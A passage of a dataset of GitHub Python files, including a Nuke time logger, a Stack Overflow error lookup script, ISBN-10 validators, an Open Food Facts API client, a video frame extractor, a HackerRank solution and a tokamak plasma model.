self.log_data['sessions'][session_index]['start_time'] == self.id:\n                # print(\"I found a session\")\n                self.session_index = session_index\n                return True\n        return False\n\n    def calculate_stats(self):\n        self.all_sessions = 0\n        self.all_work = 0\n        self.all_idle = 0\n        self.number_of_sessions = 0\n        for session in self.log_data['sessions']:\n            start_time = datetime.datetime.timestamp(datetime.datetime.fromisoformat(session['start_time'])) # as timestamp\n            end_time = datetime.datetime.timestamp(datetime.datetime.fromisoformat(session['end_time'])) # as timestamp\n            idle_time = session['idle_time'] # as int\n\n            session_time = end_time - start_time\n            work_time = session_time - idle_time\n            self.all_sessions += int(session_time)\n            self.all_work += int(work_time)\n            self.all_idle += int(idle_time)\n        self.number_of_sessions = len(self.log_data['sessions'])\n\n    def calculate_idle_time(self):\n        now = time.time()\n\n        # if there is an autosave and it's from over the idle time ago, start idling\n        if os.path.isfile(f'{self.script_file}.autosave'):\n            modification_time = (os.stat(f'{self.script_file}.autosave').st_mtime)\n            _idle_time = now - modification_time + 1\n            #print (f\"there is an autosave at {modification_time} and idle has been {_idle_time}\")\n        \n        # if no autosave but file modified then user has modified it means user just saved it\n        elif nuke.modified():\n            if not os.path.isfile(f'{self.script_file}.autosave'):\n                _idle_time = 0\n        \n        # if no autosave file and nuke is not modified, \n        # compare current time to the last file save time and the \n        # start time of the current session to make sure someone hasn't just opened the project and it could think\n        # it's been idling for days.\n        elif not nuke.modified():\n            start_session_timestamp = int(datetime.datetime.timestamp(datetime.datetime.fromisoformat(self.log_data['sessions'][-1]['start_time'])))\n            if  start_session_timestamp >= int(os.stat(self.script_file).st_mtime):\n                modification_time = start_session_timestamp\n            else:\n                modification_time = int(os.stat(self.script_file).st_mtime)\n            _idle_time = now - modification_time\n            #print (f\"no autosave and last saved at {modification_time} and idle has been {_idle_time}\")\n\n        #print (_idle_time)\n        return _idle_time\n\n\nclass Viewers():\n    def __init__(self):\n        self.node_created = False\n        pass\n\n    def update(self):\n        if USE_VIEWER_NODE and logger.initialized:\n            if not self.node_created:\n                self.v = Viewer_Node()\n                self.node_created = True\n            self.v.update_node(logger.all_work, logger.all_sessions, logger.all_idle, logger.idling, logger.number_of_sessions)\n\n\n\nclass Viewer_Node():\n    def __init__(self):\n        if USE_VIEWER_NODE:\n   \n            self.achievement = ACHIEVEMENTS[0]\n            self.achievements_accomplished = []\n\n    def create_node(self):\n        existing_nodes = nuke.allNodes(\"NoOp\")\n        existing_shot_clocks = [n for n in existing_nodes if n.name() == \"Shot_Clock\"]\n        if existing_shot_clocks:\n            # If a Shot Clock node already exists, update the message with the new version\n            \n            print(f\"viewer node already exists\")\n            viewer_node = existing_shot_clocks[0]\n        else:\n            # If no Time_Keeper node exists, create a new one\n            print(f\"created viewer node\")\n            viewer_node = nuke.createNode(\"NoOp\")\n            viewer_node.setName(\"Shot_Clock\")\n            message_knob = nuke.Text_Knob('achievement','Achievement','')\n            viewer_node.addKnob(message_knob)\n\n    def update_node(self, all_work, all_sessions, all_idle, idling, number_of_sessions):\n        '''updates the node with stats'''\n        self.create_node() # creates a node if there isn't one \n        print(f\"I'm updating the node at {(datetime.datetime.now().isoformat())}\")\n        \n        # work_time = datetime.timedelta(seconds=all_work)\n        # all_sessions = datetime.timedelta(seconds=all_sessions)\n        # all_idle = datetime.timedelta(seconds=all_idle)\n        # label = f\"<p style='font-size:20px;  font-weight:bold; text-align:center'>{work_time}</p>\"\n        # message = f\"<p style='font-size:30px; font-weight:bold; text-align:center'> Working Time {work_time}</p><p style='font-size:20px; text-align:center'>Idle Time {all_idle}</p><p style='font-size:20px; text-align:center'>Total Time {all_sessions}</p>\"\n        # if GAME:\n        #     self.select_achievement(all_work)\n        #     label = f\"<p style='font-size:80px; text-align:center'>{self.achievement}</p>label\"\n        #     message = f\"<p style='font-size:100px; text-align:center'>{self.achievement}</p>{message}\"\n        # if idling:\n        #     label = f\"{label}<p style='font-size:20px;  text-align:center'>IDLING</p>\"\n        #     message = f\"{message}<p style='font-size:20px; color:red; text-align:center'>IDLING...</p>\"\n        # nuke.toNode('Shot_Clock').knob('label').setValue(label)\n        # nuke.toNode('Shot_Clock').knob('achievement').setValue(message)\n        # print(f\"I'm done updating the node at {(datetime.datetime.now().isoformat())}\")\n\n\n    def select_achievement(self, all_work):\n        if ACHIEVEMENTS != int: # if achie\n            for i in range(len(ACHIEVEMENT_SCORE)):\n                if (all_work/60) > ACHIEVEMENT_SCORE[i]:\n                    self.achievement = ACHIEVEMENTS[i]\n                    self.next_achievement = ACHIEVEMENTS[i+1]\n                else:\n                    self.achievements_accomplished.append(ACHIEVEMENTS[i])\n                    return\n                    \n        else:\n            self.achievement = str(f\"&#{ACHIEVEMENTS+all_work};\")\n            return\n\n\n\n  \n# Create the logger instance\nlogger = Logger()\n# Create the timekeep instance\ntk = Timekeeper()\n# Create the viewer node\nviewers = Viewers() \n\n\n\n# if __name__ == '__main__':\n#     TESTING = True\n#     logger = Logger()\n    ","repo_name":"itaki/nuke","sub_path":"itaki_tools/i_tools/shot_clock.py","file_name":"shot_clock.py","file_ext":"py","file_size_in_byte":14060,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"35447324708","text":"from subprocess import Popen , PIPE\r\nimport requests\r\n\r\ndef execute_return(cmd):\r\n    args = cmd.split()\r\n    proc = Popen(args, stdout=PIPE, stderr=PIPE)\r\n    out, err = proc.communicate()\r\n    return out, err\r\n\r\n\r\ndef req(err):\r\n     resp = requests.get(\"https://api.stackexchange.com/\"+\"/2.3/search?order=desc&sort=activity&tagged=python&intitle={}&site=stackoverflow\".format(err))\r\n     return resp.json()\r\n\r\ndef get_url(js_dict):\r\n     url_l = []\r\n     c=0\r\n     for i in js_dict[\"items\"]:\r\n          if i[\"is_answered\"]:\r\n               url_l.append(i[\"link\"])\r\n          c+=1\r\n          if c==3 or c ==len(i):\r\n               break\r\n     import webbrowser\r\n     for i in url_l:\r\n          webbrowser.open(i)\r\n\r\nif __name__ == \"__main__\":\r\n     op , err = execute_return(\"python test.py\")\r\n     # print(err)\r\n     error_msg = err.decode(\"utf-8\").strip().split(\"\\r\\n\")[-1]\r\n     print(error_msg)\r\n     if error_msg:\r\n          filter_err = error_msg.split(\":\")\r\n          js1 = req(filter_err[0])\r\n          js2 = req(filter_err[1])\r\n          js = req(error_msg)\r\n          get_url(js1)\r\n          get_url(js2)\r\n          get_url(js)\r\n     else:\r\n          print(\"No Error\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"MrfoxAK/K2-AI","sub_path":"auto_search_error_in_stckoflw.py","file_name":"auto_search_error_in_stckoflw.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"37359048621","text":"\"\"\"Dear \"good people\" from the Codewars Team (P.I.O.R.Y).\nI am very much concerned about your objectivity \nin the decisions you have made.\nI keep moving on.\"\"\"\n\"\"\"You have not earned access to this kata's solutions\nSolutions are locked for kata ranked far above your rank. \nRank up or complete this kata to view the solutions. :)\"\"\"\n\n\n# my task solution, my second life\ndef valid_ISBN10(isbn):\n\n    if (isbn.isdigit() or isbn.find('X') == 9) and len(isbn) == 10:\n\n        return sum([\n            int(index) * int(value) if value not in \"X\" else int(\n                (value.replace('X', '10'))) * int(index)\n            for index, value in enumerate(str(isbn), 1)\n        ]) % 11 == 0\n    else:\n        return False\n\n\nprint(valid_ISBN10('1112223339'))  # --> True\nprint(valid_ISBN10('X123456788'))  # --> False\nprint(valid_ISBN10('048665088X'))  # --> True\nprint(valid_ISBN10('1112223339X'))  # --> False\nprint(valid_ISBN10('123456789T'))  # --> False\nprint(valid_ISBN10('ABCDEFGHIJ'))  # --> False\nprint(valid_ISBN10('XXXXXXXXXX'))  # --> False\n\n# codewars task best solution\nimport re\n\n\ndef valid_ISBN10(isbn):\n    return bool(re.match(\n        \"\\d{9}[\\dX]$\", isbn)) and sum(\"0123456789X\".index(d) * i\n                                      for i, d in enumerate(isbn, 1)) % 11 == 0\n\n\n# codewars task best solution\ndef valid_ISBN10(isbn):\n    # Check format\n    if len(isbn) != 10 or not (isbn[:-1].isdigit() and\n                               (isbn[-1].isdigit() or isbn[-1] == 'X')):\n        return False\n    # Check modulo\n    return sum(i * (10 if x == 'X' else int(x))\n               for i, x in enumerate(isbn, 1)) % 11 == 0\n\n\n# codewars task best solution\ndef valid_ISBN10(isbn):\n    \"\"\"\n    Tests if string is a valid ISBN-10 identification.\n\n    Parameters\n    ----------\n    isbn : str\n        ISBN10 value to test.\n\n    Returns\n    -------\n    bool\n        Result, whether the string is a correct ISBN10.\n    \"\"\"\n\n    isbn_lst = list(isbn)\n    position = list(range(1, 11))\n    allowed = list(\"0123456789X\")\n    num_lst = list()\n\n    test = list(item for item in isbn_lst if item in allowed)\n    if len(test) != 10:\n        return False\n    elif \"X\" in isbn and isbn.index(\"X\") != 9:\n        return False\n\n    # Replaces \"X\" in \"isbn_lst\" if found.\n    num_lst = list(10 if x == \"X\" else int(x) for x in isbn_lst)\n\n    calc = sum(list(a * b for a, b in zip(num_lst, position))) % 11\n    res = True if calc == 0 else False\n\n    return res\n\n\n# codewars task best solution\ndef valid_ISBN10(isbn: str) -> bool:\n    try:\n        digits = [\n            *map(int, isbn[:-1]), 10 if isbn[-1] == 'X' else int(isbn[-1])\n        ]\n        return len(digits) == 10 and sum(\n            int(c) * i for i, c in enumerate(digits, 1)) % 11 == 0\n\n    except ValueError:\n        return False\n\n\n# codewars task best solution\ndef valid_ISBN10(s):\n    n = s.replace(' ', '')\n    return not sum((i + 1) * int((n[i], 10)[n[i] == 'X'])\n                   for i in range(len(n))) % 11 and len(s) == 10 if s.rstrip(\n                       'X').isdigit() else 0\n\n\n# codewars task best solution\ndef valid_ISBN10(isbn):\n\n    valid_chars = '0123456789X'\n\n    if len(isbn) != 10: return False\n    if 'X' in isbn[:9]: return False\n\n    total = 0\n\n    for index, char in enumerate(isbn):\n\n        if char not in valid_chars:\n            return False\n\n        total += valid_chars.find(char) * (index + 1)\n\n    return total % 11 == 0\n\n\n# codewars task best solution\ndef valid_ISBN10(isbn):\n    if set(isbn) <= set('0123456789X') and len(\n            isbn) == 10 and 'X' not in isbn[:-1]:\n        return sum(\n            int(10 if j == 'X' else j) * i\n            for i, j in enumerate(str(isbn), 1)) % 11 == 0\n    else:\n        return False\n\n\n# codewars task best solution\ndef valid_ISBN10(isbn):\n    if len(isbn) > 10 or all(i == 'X' for i in isbn): return False\n    if len(isbn) == 10 and isbn.endswith('X'):\n        return (int(isbn[0]) * 1 + int(isbn[1]) * 2 + int(isbn[2]) * 3 +\n                int(isbn[3]) * 4 + int(isbn[4]) * 5 + int(isbn[5]) * 6 +\n                int(isbn[6]) * 7 + int(isbn[7]) * 8 + int(isbn[8]) * 9 +\n                10 * 10) % 11 == 0\n    try:\n        return (int(isbn[0]) * 1 + int(isbn[1]) * 2 + int(isbn[2]) * 3 +\n                int(isbn[3]) * 4 + int(isbn[4]) * 5 + int(isbn[5]) * 6 +\n                int(isbn[6]) * 7 + int(isbn[7]) * 8 + int(isbn[8]) * 9 +\n                int(isbn[9]) * 10) % 11 == 0\n    except:\n        return False\n","repo_name":"YauhenVadeika/CodewarsTasks","sub_path":"Task 320 ISBN-10 Validation/ISBN-10 Validation.py","file_name":"ISBN-10 Validation.py","file_ext":"py","file_size_in_byte":4449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12496126444","text":"import torch\nimport torch.nn as nn\n\nclass ConvBNReLU(nn.Module):\n    def __init__(self, in_channels, out_channels, ksize, stride=1, pad=0,\n                 initialW=nn.init.kaiming_uniform_, nobias=True):\n        super(ConvBNReLU, self).__init__(\n            conv = nn.Conv2d(in_channels, out_channels, ksize, stride, pad,\n                                 initialW=initialW, nobias=nobias),\n            bn = nn.BatchNorm2d(out_channels)\n        )\n\n    def __call__(self, x, train):\n        h = self.conv(x)\n        if train is True:\n            print(\"ConvBNReLU__call__:\", train)\n            h = self.bn(h)\n\n        return nn.ReLU(h)\n","repo_name":"jhCOR/EnvnetWithBClearning","sub_path":"pytorch_version/models/convbnrelu.py","file_name":"convbnrelu.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"21993268109","text":"import requests\nimport pprint\nimport note\n\nfrom config import *\n\nclass ApiFisherman:\n    \"\"\"This class talk to the OFF api, gets the stuff.\"\"\"\n\n    def __init__(self):\n        self.categories = CATEGORIES\n        self.grades = ['a', 'b', 'd', 'e']\n\n\n    def get_products_from_api(self):\n        products_valids = {}\n        products_total = 0\n        for category in self.categories:\n            products_in_category = []\n            print(\"Looking for {}...\". format(category))\n            for grade in self.grades:\n                args = {\n                    'action': \"process\",\n                    'tagtype_0': \"categories\",\n                    'tag_contains_0': \"contains\",\n                    'tag_0': category,\n                    'nutrition_grades': grade,\n                    'json': 1,\n                    'page_size': 1000,\n                    }\n                response = requests.get(ADV_API, params=args)\n                response_json = response.json()[\"products\"]\n                products_total += (len(response_json))\n                required_keys = [\n                    \"product_name_fr\",\n                    \"code\",\n                    \"url\",\n                    \"categories\",\n                    \"nutrition_grades\",\n                    \"stores\",\n                    ]\n                for p in response_json:\n                    try:\n                        product_ok = {k:p[k] for k in required_keys}\n                        products_in_category.append(product_ok)\n                    except KeyError:\n                        pass\n            products_valids[category] = products_in_category\n        print(\"Registered products: {}/{}.\".format(len(products_valids), products_total))\n        return products_valids\n\n\n\n\n    def fetch_category(self, category):\n        args = {\n            'action': \"process\",\n            'tagtype_0': \"categories\",\n            'tag_contains_0': \"contains\",\n            'tag_0': category,\n            'json': 1,\n            'page_size': 1000,\n            }\n        response = requests.get(ADV_API, params=args)\n\n        monLog = note.Note('log.txt')\n        requested = \"URL:{} | status:{}\".format(response.url, response.status_code)\n        monLog.addLine(requested)\n\n        response_json = response.json()[\"products\"]\n\n        # DEBUG\n        products_total = (len(response_json))\n        products_valids = []\n\n        required_keys = [\n            \"product_name_fr\",\n            \"code\",\n            \"url\",\n            \"categories\",\n            \"nutrition_grades\",\n            \"stores\",\n            ]\n\n        for p in response_json:\n            try:\n                product_ok = {k:p[k] for k in required_keys}\n                products_valids.append(product_ok)\n            except KeyError:\n                pass\n\n        print(\"Registered products: {}/{}.\".format(len(products_valids), products_total))\n        return products_valids\n","repo_name":"gil-x/oc-projet-5","sub_path":"apifisherman.py","file_name":"apifisherman.py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74876564520","text":"from tqdm import tqdm\nimport os\nimport argparse\nimport cv2\nimport random\nimport csv\n\n\ndef main(args):\n    if args.annotation_path:\n        video_ids = get_video_ids(args.annotation_path)\n        print(video_ids)\n    elif args.text_list_path:\n        video_ids = get_ids_from_txt(args.text_list_path, args.video_path)\n        print(video_ids)\n    else:\n        video_ids = os.listdir(args.video_path)\n    random.shuffle(video_ids)\n\n    for video in tqdm(video_ids, position=0):\n        video_files = os.listdir(f\"{args.video_path}/{video}\")\n        # if \"detections.json\" not in video_files:\n        #     print(f\"No bounding boxes for {args.video_path}/{video}\")\n        #     continue\n\n        video_files_video = [\n            x for x in video_files if (x.endswith(\".MP4\") or x.endswith(\".AVI\"))\n        ]\n        if len(video_files_video) == 0:\n            print(f\"No video files found for {args.video_path}/{video}\")\n            continue\n        elif len(video_files_video) > 1:\n            print(f\"More than one video file found for {args.video_path}/{video}\")\n            continue\n        else:\n            video_file = video_files_video[0]\n\n        cap = cv2.VideoCapture(f\"{args.video_path}/{video}/{video_file}\")\n\n        frame_total = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n\n        for frame_count in tqdm(range(1, frame_total + 1), position=1):\n            frame_location = f\"{args.video_path}/{video}/frames/{frame_count}.jpg\"\n            if os.path.exists(frame_location):\n                print(f\"Frame {frame_count} already exists for {video}\")\n                continue\n\n            success, frame = cap.read()\n            if not success:\n                print(f\"Error reading frame {frame_count} from {video}\")\n                continue\n\n            try:\n                if not os.path.exists(f\"{args.video_path}/{video}/frames\"):\n                    os.mkdir(f\"{args.video_path}/{video}/frames\")\n            except OSError:\n                print(f\"Error creating directory for {video}\")\n\n            cv2.imwrite(frame_location, frame)\n\n        cap.release()\n        cv2.destroyAllWindows()\n\n\ndef get_video_ids(annotation_file):\n    video_ids = []\n    with open(annotation_file) as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:\n            video_ids.append(row[\"video_id\"])\n    return list(set(video_ids))\n\n\ndef get_ids_from_txt(text_file, video_path):\n    camera_ids = []\n    with open(text_file) as txtfile:\n        for line in txtfile:\n            camera_ids.append(line.strip())\n\n    videos = os.listdir(args.video_path)\n    video_ids = []\n    for video in videos:\n        if video.startswith(tuple(camera_ids)):\n            video_ids.append(video)\n    return list(set(video_ids))\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"video_path\", type=str, help=\"Path to video file\")\n    parser.add_argument(\"--annotation-path\", type=str, help=\"Path to video file\")\n    parser.add_argument(\"--text-list-path\", type=str)\n    args = parser.parse_args()\n    main(args)\n","repo_name":"JoelGG/deer-behaviour-detector-public","sub_path":"deerbehaviourdetector/utils/frame_generation/generate_frames.py","file_name":"generate_frames.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25533125196","text":"\"\"\"\nGiven an array of integers, determine whether the array can be\nsorted in ascending order using only one of the following\noperations one time.\n    1.Swap two elements.\n    2.Reverse one sub-segment.\nDetermine whether one, both or neither of the operations will\ncomplete the task. Output is as follows.\n    1.If the array is already sorted, output yes on the first\n    line. You do not need to output anything else.\n    2.If you can sort this array using one single operation\n    (from the two permitted operations) then output yes on the\n    first line and then:\n        -If elements can only be swapped, d[l] and d[r], output\n        swap l r in the second line. l and r are the indices of\n        the elements to be swapped, assuming that the array is\n        indexed from 1 to n.\n        -If elements can only be reversed, for the segment\n        d[l...r], output reverse l r in the second line. l and r\n        are the indices of the first and last elements of the\n        subarray to be reversed, assuming that the array is\n        indexed from 1 to n. Here d[l...r] represents the\n        subarray that begins at index l and ends at index r,\n        both inclusive.\nIf an array can be sorted both ways, by using either swap or\nreverse, choose swap.\n    3.If the array cannot be sorted either way, output no on the\n    first line.\nExample\n    arr=[2,3,5,4]\n    Either swap the 4 and 5 at indices 3 and 4, or reverse them\n    to sort the array. As mentioned above, swap is preferred\n    over reverse. Choose swap. On the first line, print yes. On\n    the second line, print swap 3 4.\nFunction Description\n    Complete the almostSorted function in the editor below.\n    almostSorted has the following parameter(s):\n        int arr[n]: an array of integers\nPrints\n    Print the results as described and return nothing.\nInput Format\n    The first line contains a single integer n, the size of arr.\n    The next line contains n space-separated integers arr[i]\n    where 1<=i<=n.\nConstraints\n    2<=n<=10000000\n    0<=arr[i]<=1000000\n    All arr[i]  are distinct.\nOutput Format\n    1.If the array is already sorted, output yes on the first\n    line. You do not need to output anything else.\n    2.If you can sort this array using one single operation\n    (from the two permitted operations) then output yes on the\n    first line and then:\n        a. If elements can be swapped, d[l] and d[r], output\n        swap l r in the second line. l and r are the indices of\n        the elements to be swapped, assuming that the array is\n        indexed from 1 to n.\n        b. Otherwise, when reversing the segment d[l...r],\n        output reverse l r in the second line. l and r are the\n        indices of the first and last elements of the\n        subsequence to be reversed, assuming that the array is\n        indexed from 1 to n.\n        d[l...r] represents the sub-sequence of the array,\n        beginning at index l and ending at index r, both\n        inclusive.\n    If an array can be sorted by either swapping or reversing,\n    choose swap.\n    3.If you cannot sort the array either way, output no on the\n    first line.\nSample Input 1\n    STDIN   Function\n    -----   --------\n    2       arr[] size n = 2\n    4 2     arr = [4, 2]\nSample Output 1\n    yes\n    swap 1 2\nExplanation 1\n    You can either swap(1, 2) or reverse(1, 2). You prefer swap.\nSample Input 2\n    3\n    3 1 2\nSample Output 2\n    no\nExplanation 2\n    It is impossible to sort by one single operation.\nSample Input 3\n    6\n    1 5 4 3 2 6\nSample Output 3\n    yes\n    reverse 2 5\nExplanation 3\n    You can reverse the sub-array d[2...5] = \"5 4 3 2\", then the\n    array becomes sorted.\n\"\"\"\n\n#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'almostSorted' function below.\n#\n# The function accepts INTEGER_ARRAY arr as parameter.\n#\ndef checkSorted(arr):\n    i = 1\n    while(i < len(arr)):\n        if(arr[i-1]>arr[i]):\n            return False\n        i += 1\n    return True\n\ndef isConsecutive(arr):\n    i = 1\n    while(i < len(arr)):\n        if(arr[i] - arr[i-1] != 1):\n            return False\n        i += 1\n    return True\n\ndef almostSorted(arr):\n    # 1) Check if already sorted\n    if(checkSorted(arr)):\n        print('yes')\n        return\n    # 2) Find the out of place numbers\n    i = 1\n    oop_indexes = []  # Out of place indexes\n    while(i < len(arr)):\n        if (arr[i-1] > arr[i]):\n            oop_indexes.append(i)\n        i += 1\n    # 3) Check for swaps\n    if(len(oop_indexes) <= 2):\n        # Swap with left side of 0 index\n        temp = arr[oop_indexes[-1]]\n        arr[oop_indexes[-1]] = arr[oop_indexes[0] - 1]\n        arr[oop_indexes[0] - 1] = temp\n        # Check if sorted\n        if(checkSorted(arr)):\n            print('yes')\n            print('swap',oop_indexes[0],  oop_indexes[-1]+1)\n            return\n    # Check for reverse\n    elif isConsecutive(oop_indexes):\n        print('yes')\n        print('reverse', oop_indexes[0],  oop_indexes[-1] + 1)\n        return\n    print('no')\n    \"\"\"\n    else:\n        print('no')\n        return\n    \"\"\"\n\"\"\"\ndef inOrder(arr):\n    for i in range(0, len(arr)-1):\n        if(arr[i] > arr[i+1]):\n            return False\n    return True\ndef swapTwo(arr):\n    tempArr = []\n    for i in range(0,len(arr)-1):\n        tempArr = []\n        for j in arr:\n            tempArr.append(j)\n        if(arr[i] > arr[i+1]):\n            temp = tempArr[i]\n            tempArr[i] = tempArr[i+1]\n            tempArr[i+1] = temp\n        if(inOrder(tempArr)):\n            print(\"yes\")\n            print(\"swap\", i+1, i+2)\n            return True\n    return False\ndef reverseSubString(arr):\n    for i in range(0, len(arr)):\n        for j in range(0, len(arr)):\n            tempArr = []\n            temp = []\n            for k in arr:\n                tempArr.append(k)\n            temp = tempArr[i:j]\n            #temp.reverse()\n            tempArr = tempArr[:i] + temp + tempArr[j:]\n            print(tempArr[:i], temp, tempArr[j:])\n            if(inOrder(tempArr)):\n                print(\"yes\")\n                print(\"reverse\", i+1, j+1)\n                return True\n    return False\n\ndef almostSorted(arr):\n    # Write your code here\n    if(swapTwo(arr)):\n        return\n    elif(reverseSubString(arr)):\n        return\n    else:\n        print(\"no\")\n        return\n\"\"\"\n\nif __name__ == '__main__':\n    n = int(input().strip())\n\n    arr = list(map(int, input().rstrip().split()))\n\n    almostSorted(arr)\n","repo_name":"DanielTLouis/HackerRank","sub_path":"Algorithms/Prepare_Algorithms_Implementation_AlmostSorted.py","file_name":"Prepare_Algorithms_Implementation_AlmostSorted.py","file_ext":"py","file_size_in_byte":6447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7829119016","text":"import math\n\nimport numpy as np\nimport numpy.linalg as nplin\nimport scipy.integrate as spi\nimport scipy.constants as sc\n\n\"\"\"\nReferences\n----------\n..[1] E. Witrant, E. Joffrin, S. Brémond, G. Giruzzi, D. Mazon, O. Barana and P. Moreau,\n\"A control-oriented model of the current profile in tokamak plasma\",\nPlasma Physics and Controlled Fusion, vol. 49, no. 7, pp. 1075--1105, 2007.\n\n..[2] F. B. Argomedo, E. Witrant, C. Prieur, S. Brémond, R. Nouailletas, and J. Artaud,\n\"Lyapunov-Based Distributed Control of the Safety Factor Profile in a Tokamak Plasma\",\nNuclear Fusion, vol. 53, no. 3, pp. 5--33, 2013.\n\n..[3] F. Kazarian-Vibert, X. Litaudon, D. Moreau, R. Arslanbekov, G. T. Hoang, and Y. Peysson,\n“Full steady-state operation in tore supra,”\nPlasma Physics and Controlled Fusion, vol. 38, no. 12, pp. 2113--2131, 1996.\n\"\"\"\n\n# Major radius [m]\nR0 = 2.34\n\n# Minor radius [m]\na = 0.78\n\n\nclass ToreSupra(object):\n    def __init__(self):\n        # Toroida magnetic field at center [T]\n        self.Bphi0 = 3.69\n\n        # Plasma inductance [H]\n        self.Lp = 20.3e-6\n\n        # Plasma resistance [Ω]\n        self.Rp = 5.0e-6\n\n        # Ohmic inductance [H]\n        self.Loh = 0.58\n\n        # Ohmic resistance [Ω]\n        self.Roh = 29.0e-3\n\n        # Mutual inductance [H]\n        self.M = 2.8e-3\n\n        # Exponential peaking coefficient of the electron density\n        self.gamman = 1.5\n\n        # Exponential peaking coefficient of the q-profile\n        self.gammaq = 3.7\n\n    def ion_cyclotron_resonant_heating_power(self):\n        \"\"\"\n        Ion cyclotron resonance heating power\n\n        \"\"\"\n        pass\n\n    def lower_hybrid_power(self):\n        \"\"\"\n        Lower hybrid power\n\n        \"\"\"\n        pass\n\n    def parallel_refrection_index(self):\n        \"\"\"\n        Parallel refrection index\n\n        \"\"\"\n        pass\n\n    def ohmic_voltage(self, Ip, Ioh):\n        \"\"\"\n        Ohmic Voltage\n\n        \"\"\"\n        pass\n\n    def confinement_efficiency(self, Ip, Wth):\n        \"\"\"\n        Confinement efficiency\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n        Wth : float\n            Plasma thermal energy\n    \n        Returns\n        -------\n        betatheta : float\n            Confinement efficiency\n\n        \"\"\"\n        mu_0 = sc.mu_0\n\n        betatheta = 8.0*Wth / (3.0*mu_0*R0*Ip**2)\n\n        return betatheta\n\n    def normalized_internal_inductance(self, Ip, dpsidr, r):\n        \"\"\"\n        Normalized internal inductance\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n        dpsidr : ndarray\n            Magnetic flux of the poloidal field\n            differentiated by normalized radius\n        r : ndarray\n            Normaized radius\n\n        Returns\n        -------\n        li : float\n            Normalized internal inductance\n\n        \"\"\"\n        mu_0 = sc.mu_0\n\n        def f(i): return r[i] * dpsidr[i]**2\n\n        y = f(np.arange(len(r)))\n        li = 8*math.pi**2 * spi.simps(y, x=r) / (mu_0**2 * R0**2 * Ip**2)\n\n        return li\n\n    def initial_safety_factor_profile(self, q0c, q0e, r):\n        \"\"\"\n        Initial safety factor profile\n\n        Parameters\n        ----------\n        Ip0 : float\n            Initial total plasma current\n        q0c : float\n            Initial q-value at the center\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        q0 : ndarray\n            The initial safety factor\n\n        \"\"\"\n        gammaq = self.gammaq\n        Bphi0 = self.Bphi0\n        mu_0 = sc.mu_0\n\n        q0 = (q0c - q0e)*(1 - r**gammaq) + q0e\n\n        return q0\n\n    def initial_poloidal_flux(self, psi0e, q0c, q0e, r):\n        \"\"\"\n        Initial magnetic flux of the poloidal field\n\n        Parameters\n        ----------\n        Ip0 : float\n            Initial total plasma current\n        psi0e : float\n            Initial magnetic flux of the poloidal field at the edge\n        q0c : float\n            Initial q-value at the center\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        psi0 : ndarray\n            The initial magnetic flux profile of the poloidal field\n\n        \"\"\"\n        Bphi0 = self.Bphi0\n\n        def f(x):\n            return x / self.initial_safety_factor_profile(q0c, q0e, x)\n\n        y = np.array([spi.quad(f, r[i], 1)[0] for i in np.arange(len(r))])\n        psi0 = a**2 * Bphi0 * y + psi0e\n\n        return psi0\n\n    def plasma_effective_charge(self):\n        \"\"\"\n        Plasma effective charge\n\n        Reterns\n        -------\n        Zeff : float\n            plasma effective charge\n\n        \"\"\"\n        Zeff = 1.8\n\n        return Zeff\n\n    def electron_line_average_density(self):\n        \"\"\"\n        Electron line average density\n\n        Returns\n        -------\n        elad : float\n            electron line average density\n\n        \"\"\"\n        elad = 1.45e+19\n\n        return elad\n\n    def total_input_power(self):\n        \"\"\"\n        Total input power\n\n        Returns\n        -------\n        Ptot : float\n            Total input power\n\n        \"\"\"\n        Picrh = self.ion_cyclotron_resonant_heating_power()\n        Plh = self.lower_hybrid_power()\n\n        Ptot = Picrh + Plh\n\n        return Ptot\n\n    def alphalh(self, Ip):\n        \"\"\"\n        Amplitude parameter of electron temperature profile\n        if lower hybrid current drive power is not 0\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n\n        Returns\n        -------\n        alh : float\n            Amplitude paramter electron temperature profile\n\n        \"\"\"\n        Bphi0 = self.Bphi0\n        e = sc.e\n\n        Nll = self.parallel_refrection_index()\n        Picrh = self.ion_cyclotron_resonant_heating_power()\n        Ptot = self.total_input_power()\n\n        alh = (e*1.0e+19)**-0.87 * (Ip * 1.0e-6)**-0.43 * \\\n                Bphi0**0.63 * Nll**0.25 * (1.0 + Picrh/Ptot)**0.15\n\n        return alh\n\n    def betalh(self, Ip):\n        \"\"\"\n        Dilation parameter of electron temperature profile\n        if lower hybrid current drive power is not 0\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n\n        Returns\n        -------\n        blh : float\n            Dilation paramter of electron temperature profile\n\n        \"\"\"\n        Bphi0 = self.Bphi0\n        e = sc.e\n\n        Nll = self.parallel_refrection_index()\n        elad = self.electron_line_average_density()\n\n        blh = - (e*1.0e+19)**3.88 * (Ip * 1.0e-6)**0.31 * \\\n            Bphi0**-0.86 * (elad * 1.0e-19)**-0.39 * Nll**-1.15\n\n        return blh\n\n    def gammalh(self, Ip):\n        \"\"\"\n        Translation parameter of electron temperature profile\n        if lower hybrid current drive power is not 0\n\n        